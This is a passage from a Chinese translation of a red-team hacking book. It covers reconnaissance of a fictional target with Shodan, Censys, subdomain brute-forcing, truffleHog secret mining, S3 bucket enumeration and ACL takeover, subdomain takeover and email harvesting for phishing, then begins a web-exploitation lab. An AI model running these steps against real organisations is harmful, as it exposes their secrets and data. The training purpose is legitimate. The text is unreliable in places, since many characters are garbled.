请记着,本书中的扫数器具皆是在上一版改进的 Kali 诬捏机中运行的。你可以在这里找到诬捏机。 用户名密码是默许的:root/toor。
cd /opt/httpscreenshot/ 裁剪 networks.txt 文献来遴荐你想扫描的辘集: gedit networks.txt ./masshttp.sh firefox clusters.html另一个可以用到的器具是 Eyewitness。
Eyewitness 是另一个很好的器具,它用 XML 文献的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 做事器信息以及 VNC 做事器信息,。
实验:
cd /opt/EyeWitness nmap [IP Range]/24 —open -p 80,443 -oX scan.xml python ./EyeWitness.py -x scan.xml —web 云扫描随着越来越多的公司转向使用不同的云基础设施,一些围绕云做事的新式攻击和传统攻击逐渐形成。这日常是由于公司造作的建立和空匮对云基础设施上全球条件的确切了解。岂论是遴荐亚马逊 EC2、Azure、谷歌云如故其他云做事提供商,使用不同的云基础设施皆已成为一种全球趋势。
对于红队队员来说,一个问题是如安在不同的云环境中进行探索。由于许多宗旨公司使用动态 IP,他们的做事器可能不仅变化很快,而且也不在云提供商的某个列表中列出。举例,如果你使用 AWS,它们在全宇宙范围内领有巨大的范围。根据你遴荐的区域,你的做事器将随机放入一个大的范围。对于外东说念主来说,发现并监控这些做事器并阻扰易。
首先,很要紧的一丝是要弄领会不同提供者领有的 IP 范围。其中一些例子是:
Amazon IP 范围 Azure IP 范围 谷歌云 IP 范围可以看出,这些范围相称大,手动扫描相称发愤。在本章中,咱们将磋磨如何获取这些云系统上的信息。
辘集和做事的搜索引擎要寻找云做事器,互联网上有许多免费的资源,可以对咱们的宗旨进行侦察。咱们可以使用谷歌和第三方扫描做事。使用这些资源,咱们可以深入了解一家公司,凯旋地查找对于做事器、通达做事、banner 和其他细节的信息。而宗旨公司永远不会知说念你通过查询获取了这类信息。让咱们望望如何作为红队使用这些资源。
ShodanShodan 是一个伟大的辘集做事,它如期扫描互联网,抓取 banners、端口、辘集信息等等。他们以致会扫描到缺点信息,如腹黑滴血缺点。Shodan 最趣味趣味的用途之一是浏览通达式辘集录像头并使用它们。从红队的角度来看,咱们想要找到对于宗旨受害者的信息。
一些基本的搜索查询:
title: 搜索从 HTML 标记中索要的内容 html: 搜索复返页面的完整 HTML 内容 product: 搜索 banner 中符号的软件或居品的称呼 net: 搜索一个指定的网段(举例:204.51.94.79/18)咱们可以在 Shodan 上搜索 cyberspacekittens 网站:
cyberspacekittens.com 使用 HTML 的 title 标签进行搜索 title:cyberspacekittens 搜索页面内容 html:cyberspacekittens.com请珍爱,我不雅察到 Shodan 的扫描有点慢。Shodan 花了卓绝一个月的期间才扫描完我添加的扫描任务,并将扫瞄结果放入 Shodan 数据库。
Censys.ioCensys.io 持续监控 Internet 上的每一台可拜谒的做事器和开导,以便你可以实时搜索和分析它们。通过 Censys 你能够了解你的辘集攻击面,发现新的抑制,并评估其全球影响。
Censys 的最好本性之一是它从 SSL 证书中索要信息。日常,红队队员的主要发愤之一是找到宗旨做事器在云做事器上的位置。行运的是,咱们可以使用 Censys.io 来查找这些信息,因为他们也曾解析了这些数据
这些扫描的一个问题是它们可能会蔓延几天或几周。在这种情况下,需要用一天的期间来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上夸耀破耗了四天期间。但是在数据准确性方面,Censys.io 格外可靠。
底下,咱们通过扫描找到宗旨网站 cyberspacekittens.com 的信息。通过解析做事器的 SSL 证书,咱们能够肯定受害者的做事器托管在 AWS 上。
还有一个 Censys剧本器具,可以通过剧本的方式来进行查询。
手动解析 SSL 证书咱们发现,许多公司莫得意志到他们在互联网上裸露的东西。至极是随着云做事使用量的增多,许多公司莫得正确地建立安全的拜谒控制列表。他们相信他们的做事器是受保护的,但咱们可以发现他们是裸露在互联网上的。包括 Redis 数据库、Jenkin 做事器、Tomcat 料理、NoSQL 数据库等等——其中许多可以导致长途代码实行以致利益蚀本。
找到这些云做事器的缩小而又不为东说念主知的方法是在辘集上以自动化的方式手动扫描 SSL 证书。咱们可以获取云做事提供商的 IP 范围列表,并如期扫描扫数这些列表以索要 SSL 证书。通过稽查 SSL 证书,咱们可以了解关联宗旨公司的多数信息。从底下对 cyberspacekittens 范围的扫描中,咱们可以看到 .int 证书中的主机名。对于里面做事器,.dev. 用于开发, vpn.用于 VPN 做事器等。许多时候你会在结果中看到一些莫得对应公网 IP 的里面主机名或者一些他们里面信任的白名单网段。
为了匡助扫描证书中的主机名,我为本书开发了 sslScrape。这个器具利用 Masscan 快速扫描大型辘集。一朝它识别到443端口的做事,它就会在 SSL 证书中索要主机名。
sslScrape
cd /opt/sslScrape python ./sslScrape.py [IP 地址 CIDR 范围]云 IP 地址的例子:
Amazon: Azure: Google Cloud:在本书中,我会尝试提供一些代码示例和一个初步的范例框架。然则,是否在示例和开动框架的基础上进一步学习这取决于你我方。我浓烈建议你从这段代码(也即是 sslScrape 的源码)最先,试着将扫数得到的主机名保存到一个数据库里,再作念一个 Web UI 前端作为展示页面。然后去结合其他可能有证书的端口,比如 8443 端口,这样可以从证书中获取主机的信息。以致可以加上扫描 .git 或者 .svn 等源码信息流露的功能。
译者注: .git/.svn 源码信息流露,可以参考:https://www.secpulse.com/archives/55286.html 进行领路。
子域名发现在识别 IP 范围方面,咱们日常可以从区域互联网注册料理机构这样的全球资源来查找某个公司。比如好意思洲互联网号码注册料理机构(American Registry for Internet Numbers,ARIN)料理北好意思和部分加勒比地区事务,网址为 https://www.arin.net/ 。咱们可以查找 IP 地址的领有者、某个公司的辘集、组织的自治系统编号等等。如果咱们要看北好意思除外的地区,咱们可以通过 AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁好意思洲)和 RIPE NCC(欧洲)查找。这些皆是公开可用的,并在其做事器上列出。
你可以通过许多可用的全球源查找任何主机名或 FQDN 以找到该域的扫数者(我最可爱的快速查找域名扫数者的网站是 https://centralops.net/co/domaindossier.aspx )。但是子域名就很难征集。因为子域名并不是在某些公开注册系统上麇集注册的,而是存储在宗旨的 DNS 做事器上。你必应知说念要怎样搜索能力找到有用的子域名。
为什么子域名对于你的攻击宗旨如斯要紧?有几个原因:
一些子域可以表明它是什么类型的做事器(即 dev、vpn、mail、internal、test)。举例, mail.cyberspacekittens.com。 一些网站做事器无法通过 IP 去拜谒,也即是多个做事器分享一个出口 IP 的情况。这些做事器可能位于分享的基础设施上(比如 virtual host),如果你要拜谒这些网站,就只可通过域名去拜谒。这样的情况在云基础架构中非不时见。这种情况下,如果你使用 nmap 扫描这个 IP,只可得到主机的端口通达信息,不可进一步获取更多的 Web 指纹,必须要使用对应的子域名来拜谒站点,然后使用近似于 WhatWeb 的器具来得到 Web 指纹。 汇集子域名可以得到宗旨在哪托管他们做事器的信息。这是通过找出宗旨全部子域名、针春联域名反向查询 IP 以及查询托管 IP 的地方来完成。一家公司可能会使用多个云做事提供商和数据中心来托管他们的做事器。在上一册书(The hacker playbook第二版)中咱们讲了许多用于子域名汇集的器具,因此让咱们回顾一些当前仍然可用的器具的和一些新器具,来更好的进行子域名汇集。迎接扫描 cyberspacekittens.com 域名!
Discover Scripts上一册书里面酌量的 Discover Scripts 器具仍然是我最可爱的子域名汇集器具之一。因为它会聚了Kali Linux 上的扫数的子域名侦察器具,并如期进行爱戴更新。被迫信息汇集将利用下列扫数的器具: Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit, URLCrazy, Whois, multiple websites and recon-ng.
Discover Scripts 最棒的地方在于,它基于已汇集到的信息滚雪球式搜索。 举例,通过对公开的 PGP 仓库进行搜索,它可能会识别电子邮件,然后使用这些信息陆续在 Have I Been Pwned 网站进行搜索(通过 Recon-NG 器具)。这将让咱们知说念是否可以通过公开发布的数据流露危害找到一些泄涌现的密码。
KNOCK接下来,咱们但愿了解公司可能使用的扫数做事器和域名。尽管莫得存储子域的中心位置,但咱们可以使用 Knock 等器具暴力破解不同的子域名,来识别哪些做事器或主机可以攻击。
Knockpy 是一个 python 器具,它通过一个 wordlist 来陈列宗旨域中的子域名。
Knock 是一个很好的子域名扫描器具,它生成一个子域名列表,并检讨这些生成的子域名是否可以解析。因此,如果你想扫描 cyberspacekittens.com, Knock 将使用 此 wordlist,并稽查 [subdomain].cyberspacekittens.com 是否有任何子域。在此要珍爱的一丝是,更好的 wordlist 会增多找到子域名的契机。
我最可爱的一个子域名字典是由 jhaddix 创建的(点此稽查)。子域名字典是你应该持续汇集的东西之一。其他一些好的子域名字典可以在你的 THP Kali 镜像的 /opt/SecLists 文献夹下找到或者在 这里 找到。
译者注:The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有先容,是本书作家专门针对于本书中的实验创建的基于 Kali Linux 何况添加了扫数器具的完整版诬捏机(点此获取)。
实验:征集 cyberspacekittens.com 的扫数子域名。
cd /opt/knock/knockpy python ./knockpy.py cyberspacekittens.com 这将使用 Knock 中内置的基础子域名字典。尝试下载并使用更大的子域名字典。使用-u参数切换到 字典。即:你从 Discover Scripts 中发现了哪些类型的互异?什么类型的域将是你的第一个攻击宗旨,或与垂钓式域攻击全部使用?去现实宇宙试试吧!去找一个 bug 赏金范例,并寻找丰富的子域。
Sublist3r正如前边提到的,Knock 的问题是,它严重的依赖字典的质地。有些公司有相称特殊的子域名,无法通过通用的子域名字典找到。下一个最好的资源是搜索引擎。当网站被爬虫爬行时,带有贯穿的文献会被分析并被汇集到公开的资源,这意味着咱们可以使用搜索引擎为咱们作念子域名汇集的责任。
在这种情况下,咱们可以借助 Sublist3r 这样的器具。珍爱,这种器具使用不同的 “google dork” 格调的查询语句进行搜索,容易被谷歌东说念主机检讨识别成机器东说念主。这可能会使你暂时被列入黑名单,并要求你为每个央求填写考证码,这可能会限定扫描的结果。
运行 Sublist3r:
译者注:原书这里存在笔误,作家写成了 To run Sublister,但现实上应该是 To run Sublist3r.
cd /opt/Sublist3r python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com望望 Sublist3r 跑出来的结果,跟用子域名暴力破解出的结果对比一下,是不是有一些之前没发现的?相似的,再次针对一个 bug 赏金式样尝试 Sublist3r 方法来汇集子域名,对比感受暴力破解和使用搜索引擎之间的显耀区别。
Sublist3r 有一个分支版块,这个分支版块包含额外的本性(至极是子域名劫持的检讨): https://github.com/Plazmaz/Sublist3r
SubBrute临了一个要先容的子域名汇集器具是 SubBrute。SubBrute 是一个社区式样,宗旨是创建最快、最准确的子域陈列器具。SubBrute 背后的神奇之处在于,它使用通达的解析器作为代理来绕过 DNS 速率限定( https://www.us-cert.gov/ncas/alerts/TA13-088A )。这种设想还提供了一层匿名性,因为 SubBrute 不顺利向宗旨的域名做事器发送流量。
SubBrute 不仅速率相称快,它还实行 DNS 爬虫功能,爬取陈列的 DNS 记载。
运行 SubBrute:
咱们还可以将 SubBrute 的性能提高一下,将其与 MassDNS 会聚,以实行相称高性能的 DNS 解析。
GithubGithub 是一个有惊东说念主数据的宝库。在一些浸透测试和红队评估中,咱们能够得到密码,API 密钥,旧的源代码,里面主机名/ IPs 以及更多。这些要么导致顺利攻击消一火,要么匡助发动另一场攻击。咱们看到的是,许多开发东说念主员要么将代码保存到造作的仓库(将其发送到他们的公开仓库而不是公司的专有仓库),要么不测地保存明锐数据(如密码),然后试图删除它。Github 的一个优点是,它可以在每次修改或删除代码时进行记载。这意味着如果有一次将明锐数据保存到仓库中,那么即使删除了该明锐数据,那么它仍然会在数据变调中被记载。只须仓库是公开的,你就能够稽查扫数这些变调。
咱们可以使用 Github 搜索来识别某些主机名/组织名,或者以致只是使用简单的 Google Dork 搜索,举例:
site:github.com + “cyberspacekittens”尝试使用不同的方法搜索 bug 赏金范例,而不是只是搜索 cyberspacekittens。
通过你扫数的搜索,你会遭遇: https://github.com/cyberspacekittens/dnscat2 (为 GitHub 实验准备的修自新的示例)。你可以手动检索这个仓库,但日常它相称大,你很难遍历扫数的式样来找到一些趣味趣味的东西。
如前所述,当你在 Github 中裁剪或删除文献时,一切皆会被追踪记载。对于红队队员来说,行运的是,许多东说念主健忘了这个本性。因此,咱们日常看到东说念主们把明锐信息放到 Github 中,然后删除,却莫得意志到它还在那里!让咱们望望能不可找到这些张含韵。
Truffle HogTruffle Hog器具会扫描不同的提交历史记载和分支来获取高秘密的密钥,并输出它们。这对于查找秘密数据、密码、密钥等相称有用。让咱们望望能否在 cyberspacekittens 的 Github 仓库中找到一些明锐的数据。
实验:
cd /opt/trufflehog/truffleHog python truffleHog.py https://github.com/cyberspacekittens/dnscat2正如咱们在 commit 历史记载中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文献中删除了。但是如果稽查当前仓库,你找不到这个文献。
更好的成立(但是成立起来有点复杂)是 git-all-secrets。在稽查大型式样时,Git-all-secrets 相称有用。你只需指定某个式样并在土产货克隆该式样代码,然后使用 Truffle-hog 和 repo-supervisor 扫描它。在此之前你需要创建一个 Github 拜谒令牌,令牌是免费的,通过创建一个 Github 并在成立中遴荐 Generate New Token 选项来生成。
运行 git-all-secrets:
cd /opt/git-all-secrets docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -token=[API Key] - output=results.txt 这将克隆仓库并最先扫描。你以致可以使用-org参数跑完该组织在 Github 上的扫数内容。 容器(container)运行完成后,输入以下敕令检索容器 ID: 有了容器 ID 后,就可以输入以下敕令将结果文献平安器(container)发送到主机: Cloud正如咱们前边所说的,cloud 是咱们看到的许多公司有不安全环境建立的一个领域。最常见的一些问题是:
Amazon S3 Missing Buckets: https://hackerone.com/reports/121461 Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088 Being able to list and write files to public AWS buckets: aws s3 ls s3://[bucketname] aws s3 mv test.txt s3://[bucketname] Lack of Logging在最先测试不同的 AWS 存储桶上的造作建立之前,咱们需要首先发现它们。咱们将尝试一些不同的器具,望望咱们能在受害者的 AWS 基础设施上发现什么。
S3 Bucket Enumeration(S3 存储桶 陈列)有许多器具可以为 AWS 实行 S3 bucket 陈列 。这些器具日常利用环节字或列表,应用多种排列,然后尝试去发现不同的 bucket。举例,咱们可以使用一个名为 Slurp 的器具来查找对于宗旨 CyberSpaceKittens 的信息:
cd /opt/slurp ./slurp domain -t cyberspacekittens.com ./slurp keyword -t cyberspacekittens Bucket Finder另一个器具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载扫数的内容进行分析:
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 cd /opt/bucket_finder ./bucket_finder.rb —region us my_words —download你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要作念什么呢?你可以首先把它弹到浏览器中来看一些信息:
在最先之前,咱们需要创建一个 AWS 帐户来得到一个拜谒密钥 ID。你可以在 Amazon 免费创建你的帐户。创建帐户后,登录 AWS,转到你的安全凭证,然后转到拜谒密钥。一朝你有了 AWS Access ID 和密钥,咱们就可以查询 S3 bucket 了。
查询 S3 并下载一切内容:
下载 awscli: sudo apt install awscli 建立凭证: aws configure 稽查 CyberSpaceKittens 的 S3 bucket 的权限: aws s3api get-bucket-acl --bucket cyberspacekittens 从 S3 Bucket 中读取文献: aws s3 ls s3://cyberspacekittens 下载存在 S3 Bucket 中的扫数内容: aws s3 sync s3://cyberspacekittens除了查询 S3 之外,接下来要测试的是写入该 bucket。如果咱们有写的权限,可能就可以对它们的应用范例完成 RCE(长途敕令实行)。咱们日常看到,当 S3 bucket 上存储的文献被用于它们的扫数页面时(何况如果咱们可以修改这些文献),那么咱们就可以将坏心代码放到它们的 Web 应用做事器上。
写入 S3:
珍爱,write 已被从 Everyone 组中删除。这只是为了示范。
修改 AWS Buckets 中的拜谒控制在分析 AWS 的安全性时,咱们需要检讨对于对象和 bucket 的权限控制。对象是单独的文献,bucket 是存储的逻辑单位。如果建立不正确,任何用户皆可能修改这些权限。
首先,咱们可以稽查每个对象来判断这些权限是否建立正确:
aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt咱们可以看到只须一个名叫 “secure” 的用户对该文献有写的权限。文献不是对扫数东说念主通达的。如果咱们有写的权限,就可以使用 s3api 中的put对象来修改该文献。
接下来,咱们望望是否可以修改这些 bucket 自己。这可以通过以下敕令来完成:
aws s3api get-bucket-acl —bucket cyberspacekittens相似,在这两种情况下,读权限皆是全局允许的,但是完全控制或任何写入的权限只须名为 “secure” 的帐户才有。如果咱们可以进入 bucket,那么咱们可以使用—grant-full-control来赋予咱们我方对 bucket 和对象的完全控制权限。
资源:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ 子域名劫持子域名劫持是一个常见的缺点,如今咱们险些可以从每一个公司看到这个缺点。如果一个公司使用用一些第三方 CMS/内容/云提供商,并将它们的子域名指向这些平台,那么就有可能发生子域名劫持缺点。如果公司健忘建立第三方做事或从该做事器刊出,攻击者就可以使用第三方来劫持该主机名。
举个例子,你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。然后,你让你公司的子域名 testlab.company.com 指向了 testlab.s3.amazonaws.com。一年后,你不再需要 testlab.s3.amazonaws.com 这个 S3 bucket 并刊出了它,但是健忘了 testlab.company.com 的 CNAME 重定向。现在,一些东说念主可以去 AWS 搭建 testlab.s3.amazon.com,并在受害者的域中有一个有用的 S3 bucket。
一个检讨子域名缺点的器具叫作念tko-subs。咱们可以用这个器具来检讨是否有任何咱们找到的子域名指向了一个 CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等),这样该子域名可能可以被劫持。
运行 tko-subs:
如果咱们找到了一个吊挂记载,咱们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用范例。不然,咱们将不得不手工操作。
译者注: dagling CNAME, 即为 dangling DNS record,简称 Dare, 一般翻译为吊挂记载。这类 DNS 记载指向的资源无效,但记载自己尚未从 DNS 撤销,攻击者可以借此杀青 DNS 劫持。 拓展阅读:Understanding the Security Threats of Dangling DNS Records
另外两个可以匡助域名劫持的器具是:
HostileSubBruteforcer autoSubTakeover想了解更多对于AWS缺点的信息吗?一个很棒的的 CTF AWS 演练 ->
电子邮件扫数的社会工程学攻击的一个要紧部分皆是查找 email 地址和职工姓名。咱们在前几节中使用了 Discover Script 器具,它相称适合用来汇集这些数据。我个东说念主日常从 Discover Script 最先,并用其他器具进行深入挖掘。每种器具的功能略有不同,尽可能多地使用自动化进程是有益的。
一朝你得到了一个小的 email 列表,最好去了解他们的 email 时势。是名.姓氏@cyberspacekitten.com这样的时势吗?如故名的第一个字母.姓氏@cyberspacekittens.com这样的?一朝你弄领会了他们的时势,咱们就可以使用像 LinkedIn 这样的器具来寻找更多的职工,并尝试找到他们的 email 地址。
SimplyEmail咱们皆知说念鱼叉式辘集垂钓仍然是比较得胜的攻击技能之一。如果咱们莫得找到任何外部缺点,那么下一步即是攻击用户。要建立一个好的 email 地址列表,咱们可以使用像 SimplyEmail 这样的器具。此器具的作用是可以输出公司的 email 地址时势和有用用户列表。
实验:找出 cnn.com 的扫数 email 帐户。
cd /opt/SimplyEmail ./SimplyEmail.py -all -v -e cyberspacekittens.com firefox cyberspacekittens.com<date_time>/Email_List.html这可能需要很耐久间来运行,因为它检讨 Bing、Yahoo、Google、Ask Search、PGP 仓库、文献等等。这也可能让你的辘集被搜索引擎们识别成机器东说念主。何况如果你产生了太多的搜索央求,那么可能需要填写考证码。
针对你我方的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大范围红队行径中被设为靶子的第一个 email 地址。
往常的违法行动(email 信息流露)获取 email 帐户的最好方法之一是持续监控和捕捉往常的违法行动。我不想顺利贯穿到违法文献,但我给出一些我认为有用的参考:
1.4 亿密码流露(2017年): https://thehackernews.com/2017/12/data-breach-password-list.html Adobe 信息流露(2013年): https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/ Pastebin Dumps: Exploit.In Dump Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com 额外的开源资源我不知说念该把这些资源放在那儿,但我想提供一个用于红队行径的额外的优秀资源麇集。它可以匡助识别东说念主、位置、域名信息、外交媒体、图像分析等。
OSINT 贯穿书册: https://github.com/IVMachiavelli/OSINT_Team_Links OSINT 框架:译者注: 公开资源谍报筹备(Open source intelligence),简称OSINT,是好意思国中央谍报局(CIA)的一种谍报征集技能,从多样公开的信息资源中寻找和获取有价值的谍报。
本章总结
在这一章中,咱们学习了多样不同的侦察战术和侦察器具。这只是一个最先,因为这些时代许多皆是手工的,何况需要多数的期间来实行。这取决于你我方是否能提高我方的功力,自动化使用扫数这些器具,并使侦察责任快速和高效。
第3章 抛传——Web 应用范例缺点利用
在往常几年中,咱们看到了一些严重的、面向外部辘集的 Web 攻击。从 Apache Struts 2开发框架缺点(尽管 Equifax 公司因 Apache Struts 2安全缺点而酿成数据流露还未被阐发),到好意思国快餐公司 Panera Bread 数据流露,到 Uber 信息流露,攻击险些波及了社会上的一切。毫无疑问,咱们还会陆续看到许多严重的面向公网的端点攻击。
通盘安全行业以周期性模式运行。如果从 OSI 模子的不同层级来看,就会发现攻击每隔一年就会更始到不同的层。就 Web 而言,早在21世纪初,就有多数的 SQLi 和 RFI 类型的缺点利用事件。然则,一朝公司最先加强其外部辘集环境并最先进行外部浸透测试,咱们作为攻击者,就要转而针对“第8层”攻击 —— 将社会工程学攻击(辘集垂钓)作为第一切入点。现在,正如咱们看到的,各个组织通过新一代结尾防护/防火墙来提高其里面安全性,是以咱们的要点又转回了应用范例的缺点利用。咱们还看到应用范例、API 和编程语言的复杂性大幅增多,使得许多旧的以致是新的缺点重新出现。
由于本书更多地针对红队行动的主张,因此咱们不会深入研究扫数不同的 Web 缺点或是如何手动利用它们。这本书并不是一册字典类型的参考器具书。你将关注的是红队队员和坏东说念主在现实宇宙中所能看到的缺点,举例那些危害到 PII(个东说念主考证信息)、IP、辘集等的缺点。 对于那些正在寻找相称详实的 Web 浸透测试方法的东说念主,我老是建议从 OWASP 测试指南最先( 和 https://www.owasp.org/images/1/19/OTGv4.pdf )。
请珍爱,由于在上本书中提到的许多攻击皆莫得改变,因此咱们不会在之后的熟练中重迭 SQLMap、IDOR 攻击和 CSRF 缺点等示例。相背,咱们将专注于新的环节问题。
缺点赏金平台在咱们最先学习如何利用 Web 应用范例缺点之前,让咱们先谈谈缺点赏金平台。咱们见到的最常见的问题是,“我怎样能力在完成教练后陆续学习?”最好的建议是针对真实的上线了的系统进行熟练。你可以一直作念靶场教练,但如果莫得真实的入侵教会,就很难成长。
但有一丝需要珍爱:平均而言,在你最先络续发现缺点之前,需要节略3-6个月的千里淀期间。咱们的建议是:不要感到黯然,与其他缺点赏金猎东说念主保持交流,而且不要健忘可以去望望老一丝的缺点赏金式样。
比较常见的缺点赏金平台是 HackerOne,BugCrowd 和 SynAck。还有许多其他的平台。这些平台可以支付从零到两万好意思元以上之间的奖励。
我的许多学生认为最先寻找缺点是件令东说念主除去却步的事情。这真的需要你参加其中,每天花几个小时作念这件事情,并专注于领路如何利用第六感找到缺点。一般来说,最先的时候可以望望无酬金的缺点赏金式样(因为专科的赏金猎东说念主不会珍爱它们)或像 Yahoo 这样大型的老缺点赏金式样。这些类型的站点时时具有很大的范围和许多留传的旧做事器。正如在以前的书中提到的,肯定测试范围很要紧,寻找赏金缺点也不例外。许多平台皆指定了哪些可以作念,哪些不可以作念(比如禁止扫描、禁止自动化器具、哪些域名可以被攻击等)。有时你很行运,他们允许你测试 *.company.com,但其他时候可能仅限于一个 FQDN(完全死心的域名)。
让咱们以 eBay 为例,他们有一个公开的缺点赏金平台。在他们的缺点赏金平台上,他们说明了造穴指南、合适条件的域名、合适条件的缺点、不包括的式样、如何陈说缺点和白帽子公开致谢:
如何向公司陈说缺点日常与寻找缺点自己相似要紧。你要确保向公司提供尽可能多的细节。这将包括缺点的类型、严重性/环节性、利用缺点所采取的方法、屏幕截图,以致用到的 POC(proof of concept)。如果你需要一些匡助来创建格调谐和的陈说,可以稽查和使用底下的陈说生成表单: https://buer.haus/breport/index.php 。
我以前有运营我方缺点赏金平台,有一件事需要珍爱的是,我在平台上看到了一些情况,研究东说念主员会在考证缺点时过于深入宗旨系统(卓绝了正常考证缺点的范围)。举例包括在发现 SQL 注入后对数据库拖库,在经受子域后挂黑页填写他们认为趣味趣味的内容,以致在开动长途代码实行缺点之后在出产环境中横向浸透。这些案例可能会导致法律问题,并有可能让联邦观望局找上门来。因此,请你最好严慎判断,阐发好测试范围,并记着,如果直观认为它是作歹的,那么它可能即是作歹的。
辘集攻击先容——Cyber Space Kittens在完成侦察和发现之后,你回顾扫数你发现的不同站点。浏览结果时,你莫得发现常见的可进行缺点利用的做事器或建立造作的应用范例。莫得任何 Apache Tomcat 做事器或 Heartbleed/ShellShock,看起来他们修补了扫数 Apache Strut 问题和 CMS 应用范例缺点。
你的第六感直观最先弘扬作用,你最先研究他们的客户接济系统。嗅觉有些地方即是不合劲,但是在那儿呢?
对于本章中的扫数攻击,皆可以使用一个本书定制的 VMWare 诬捏机来复现这些实验。这个诬捏机可以在以下网站免费下载:
?type=csk-web为搭建演示 Web 实验环境(客户接济系统):
从以下位置下载本书的 VMWare 诬捏机:
?type=csk-web下载在实验环境里要用到的完整敕令列表:
https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
Bit.ly 贯穿:
启动并登录 VM(诬捏机)
当 VM 完全启动时,它应该夸耀应用范例确当前 IP 地址。你无需登录进 VM,是以登录密码也不需要。你可以自行入侵这个范例。
由于这是一个托管在你我方系统上的 Web 应用范例,因此咱们在攻击端 Kali 系统上创建一个主机名记载:
在咱们的攻击端 Kali 诬捏机上,让咱们裁剪 host 文献以指向咱们的存在缺点的应用范例(客户接济系统),以便可以通过 hostname 和 IP 来援用应用范例: gedit /etc/hosts 添加客户接济系统诬捏机的 IP [客户接济系统的 IP]chat 现在,打开 Kali 的浏览器并拜谒 :3000/ 。如果一切正常,你应该能够看到 NodeJS 自界说的客户接济系统范例。Web 部分的敕令和攻击可能相称冗长和复杂。为了浅显起见,我在这里列出了每个实验需要的扫数敕令:https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
译者注:译者在尝试复现此实验时,发现莫得获取到 ipv4 地址,自后切换了一下网卡成立,把“桥接模式”改成 NAT 就科罚了。如果有读者遭遇一样的问题可以参考此作念法。参考尊府:https://github.com/cheetz/THP-ChatSupportSystem/issues/1
红队的 Web 应用范例攻击前两本书细心于如何有用地测试 Web 应用范例 - 这一次会有所不同。咱们将跳过许多基本攻击,并战争现实宇宙中使用的攻击手法。
由于这是一册实用性较强的书,是以咱们不会详实磋磨 Web 应用范例测试的扫数时代细节。然则,这并不虞味着这些细节应该被忽略。Web 应用范例测试的一个很好的资源是 Open Web Application Security Project,简称 OWASP。OWASP 侧重于应用范例的安全开发和用户老师。每隔几年,OWASP 皆会编制并发布一个最常见缺点的清单—— 。一个更深眉目的测试指南位于这里: 。OWASP 的文档将带你了解要查找的缺点类型、风险以及如何利用它们。这里有一个很好的清单文档: 。
由于我的许多读者皆试图进入安全领域,是以我想快速的提一件事:如果你想进行浸透测试责任,你至少要领路 OWASP Top 10 的方方面面,这是至关要紧的。你不仅应该知说念它们是什么,而且还应该根据风险类型以及如何检测它们了解一些好的示例。现在,让咱们回到如何入侵 CSK 上来 。
聊天接济系统实验将被攻击的聊天接济系统是交互式的,它杰出了新的和旧的缺点。正如你将看到的,对于以下许多实验,咱们会提供不同版块的带有聊天接济系统的自界说诬捏机。
应用范例自己是用 Node.js 编写的。为什么遴荐 Node?作为浸透测试东说念主员,咱们要珍爱的是,它是使用率增长最快的应用范例之一。由于许多开发东说念主员似乎皆相称可爱 Node,是以我认为领路将 JavaScript 作为后端代码运行的安全含义是很要紧的。
什么是 Node?
“Node.js® 是一个基于 Chrome V8引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻滞式 I/O 的模子,使其轻量又高效。”Node.js 的包生态系统,即 NPM,是宇宙上最大的开源库生态系统。
在最基本的层面上,Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和跨平台的本性,是以它可以通过谐和堆栈来大大简化式样。固然 Node.js 不是 Web 做事器,但它允许做事器(可以用 JavaScript 编程的东西)存在于现实 Web 客户端之外的环境中。
优点:
相称快 单线程 JavaScript 环境,可以充任孤独的 Web 应用范例做事器 Node.js 不是左券;它是一个用 JavaScript 编写的 Web 做事器 NPM 代码仓库领有近50万个免费、可重用的 Node.js 代码包,这使它成为宇宙上最大的包料理器随着 Node.js 在往常几年变得如斯流行,对于浸透测试东说念主员/红队成员来说,领路应该寻找什么突破口以及如何攻击这些应用范例口舌常要紧的。举例,一位研究东说念主员发现,弱 NPM 凭证使他能够获取 13% 的 NPM 包的裁剪和发布权限。通过依赖链,预测有52% 的 NPM 包是易受攻击的。[https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-been-hacked-via-weak-credentials/]
鄙人面的示例中,咱们的实验室将使用 Node.js 作为应用范例的基础,它将使用 Express 框架作为咱们的 Web 做事器。然后,咱们将把 Pug 模板引擎添加到咱们的 Express 框架中。这近似于咱们现在在新开发的应用范例中日常见到的东西。
Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和出动应用范例提供了一组坚强的功能,因此你无需进行多数责任。使用名为 Middlewares 的模块,你可以添加第三方认证或做事,如 Facebook 身份考证或 Stripe 支付做事。
Pug,庄重称呼为 Jade,是一个做事器端模板引擎,你可以(但不是必须)与 Express 全部使用它。Jade 用于在做事器上以编程方式生成 HTML 页面并将其发送给客户机。
让咱们最先攻击 CSK 并启动聊天接济系统诬捏机。
